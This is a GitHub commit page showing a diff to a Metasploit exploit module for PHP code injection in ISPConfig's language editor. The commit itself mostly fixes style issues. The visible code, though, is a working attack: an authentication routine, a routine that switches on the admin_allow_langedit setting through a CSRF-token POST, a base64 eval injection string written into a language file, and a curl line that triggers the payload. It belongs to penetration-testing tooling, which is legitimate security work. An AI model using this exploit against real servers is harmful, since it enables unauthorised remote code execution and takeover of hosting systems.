Skip to content

Commit 1700b2e

Browse files
committed
fixed: rubocop issues, changes resolved
1 parent 03e9437 commit 1700b2e

File tree

1 file changed

+27
-24
lines changed

1 file changed

+27
-24
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 27 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,11 @@ def initialize(info = {})
1919
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
2020
setting is enabled, allowing authenticated administrators to inject arbitrary
2121
PHP code through the language editor interface.
22-
22+
2323
This module will automatically check if the required `admin_allow_langedit`
2424
permission is enabled, and attempt to enable it if it's disabled (requires
2525
admin credentials with system configuration access).
26-
26+
2727
The exploit works by injecting a PHP payload into a language file, which
2828
is then executed when the file is accessed. The payload is base64 encoded
2929
and written using PHP's file_put_contents function.
@@ -59,7 +59,7 @@ def initialize(info = {})
5959
'Notes' => {
6060
'Stability' => [CRASH_SAFE],
6161
'Reliability' => [REPEATABLE_SESSION],
62-
'SideEffects' => [IOC_IN_LOGS]
62+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
6363
}
6464
)
6565
)
@@ -74,6 +74,7 @@ def initialize(info = {})
7474
def check
7575
print_status('Checking if the target is ISPConfig...')
7676
return CheckCode::Unknown('Failed to login') unless authenticate
77+
7778
# Always try to log in and parse version, since credentials are required
7879
# cookie_jar.clear (handled in exploit)
7980
# Try to access the dashboard or settings page
@@ -88,11 +89,11 @@ def check
8889
version_element = doc.at('//p[@class="frmTextHead"]')
8990
if version_element
9091
version_text = version_element.text
91-
version = version_text.split(":")[1].gsub(" ","")
92+
version = version_text.split(':')[1].gsub(' ', '')
9293
version = Rex::Version.new(version)
9394
if version < Rex::Version.new('3.2.11p1')
9495
print_good("ISPConfig version detected: #{version_text}")
95-
return CheckCode::Vulnerable("Version: #{version_text}")
96+
return CheckCode::Appears("Version: #{version_text}")
9697
end
9798
end
9899
end
@@ -112,15 +113,17 @@ def authenticate
112113
'keep_cookies' => true
113114
})
114115
return false unless res
116+
115117
if res&.code == 302
116118
res = send_request_cgi({
117119
'method' => 'GET',
118-
'uri' => normalize_uri(target_uri.path, 'login/',res&.headers.fetch('Location',nil))
120+
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
119121
})
120122
end
121-
return false if res.body.match(/Username or Password wrong/i)
122-
if res.headers.fetch('Location',nil)&.include?('admin') ||
123-
res.body.downcase.include?('dashboard')
123+
body_downcase = res.body.downcase.freeze
124+
return false if body_downcase.include?('username or password wrong')
125+
126+
if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
124127
print_good('Login successful!')
125128
return true
126129
end
@@ -130,15 +133,15 @@ def authenticate
130133

131134
def check_langedit_permission
132135
print_status('Checking if admin_allow_langedit is enabled...')
133-
136+
134137
# Try to access the language editor to see if it's accessible
135138
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
136139
res = send_request_cgi({
137140
'method' => 'GET',
138141
'uri' => edit_url,
139142
'keep_cookies' => true
140143
})
141-
144+
142145
if res&.code == 200 && res.body.include?('language_edit')
143146
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
144147
return true
@@ -153,44 +156,44 @@ def check_langedit_permission
153156

154157
def enable_langedit_permission
155158
print_status('Attempting to enable admin_allow_langedit...')
156-
159+
157160
# Try to access the system settings page
158161
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
159162
res = send_request_cgi({
160163
'method' => 'GET',
161164
'uri' => settings_url,
162165
'keep_cookies' => true
163166
})
164-
167+
165168
unless res && res.code == 200
166169
print_warning('Could not access system configuration page')
167170
return false
168171
end
169-
172+
170173
doc = res.get_html_document
171174
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
172175
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
173-
176+
174177
unless csrf_id && csrf_key
175178
print_warning('Could not extract CSRF tokens from system config page')
176179
return false
177180
end
178-
181+
179182
# Try to enable the setting
180183
enable_data = {
181184
'_csrf_id' => csrf_id,
182185
'_csrf_key' => csrf_key,
183186
'admin_allow_langedit' => '1',
184187
'action' => 'save'
185188
}
186-
189+
187190
res = send_request_cgi({
188191
'method' => 'POST',
189192
'uri' => settings_url,
190193
'vars_post' => enable_data,
191194
'keep_cookies' => true
192195
})
193-
196+
194197
if res && res.code == 200
195198
print_good('Successfully enabled admin_allow_langedit')
196199
return true
@@ -205,7 +208,7 @@ def inject_payload
205208
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
206209
b64_payload = Base64.strict_encode64(payload.encoded)
207210
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
208-
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
211+
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
209212
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
210213
initial_data = {
211214
'lang' => 'en',
@@ -249,27 +252,27 @@ def inject_payload
249252
def exploit
250253
cookie_jar.clear
251254
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
252-
255+
253256
# Check if language editor permissions are enabled
254257
unless check_langedit_permission
255258
print_warning('admin_allow_langedit appears to be disabled')
256259
print_status('Attempting to enable admin_allow_langedit...')
257-
260+
258261
if enable_langedit_permission
259262
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
260263
# Re-check permissions after enabling
261264
unless check_langedit_permission
262-
fail_with(Failure::UnexpectedReply, 'Failed to enable admin_allow_langedit or language editor still not accessible')
265+
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
263266
end
264267
else
265268
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
266269
end
267270
end
268-
271+
269272
payload_url = inject_payload
270273
print_status('Starting payload handler...')
271274
print_status('Manual trigger information:')
272275
print_line("URL: #{full_uri}#{payload_url}")
273276
print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")
274277
end
275-
end
278+
end

0 commit comments

Comments
 (0)